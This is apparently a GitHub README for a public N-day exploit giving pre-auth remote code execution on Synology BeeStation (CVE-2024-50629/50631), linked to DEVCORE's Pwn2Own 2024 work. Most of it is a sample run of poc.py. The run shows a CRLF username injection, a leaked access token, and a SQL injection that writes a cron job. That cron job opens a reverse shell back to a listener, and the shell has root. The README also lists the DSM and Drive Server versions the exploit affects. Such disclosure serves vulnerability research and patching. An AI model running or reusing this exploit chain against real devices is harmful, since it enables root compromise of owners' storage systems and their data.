kiddo-pwn/cve-2024-50629_50631N-day Exploit for Synology BeeStation RCE by DEVCORE (Pwn2Own 2024)
Pre-auth RCE N-day exploitation of Synology BeeStation.
Detail: https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron
https://github.com/user-attachments/assets/8e2ef59c-4f60-4308-8cd4-6d7ce0ba72e1
$ python3 poc.py 192.168.88.248 192.168.88.254
[*] LISTENER listening on port 1337...
[*] CRLF username: kiddo.pwn
[*] AUTH access token: 2d6a6ecf6456f4b4787e50f5f0c0e648
[*] SQLI wrote: /etc/cron.d/pwn.task
[+] EXP shell will drop within 1 min...
bash: cannot set terminal process group (18187): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4# id
id
uid=0(root) gid=0(root) groups=0(root)
bash-4.4# hostname
hostname
BeeStation
bash-4.4#
Note: This exploit works identically on vulnerable versions of standard DSM (7.2.2-72806) + Synology Drive Server (3.5.1-26101).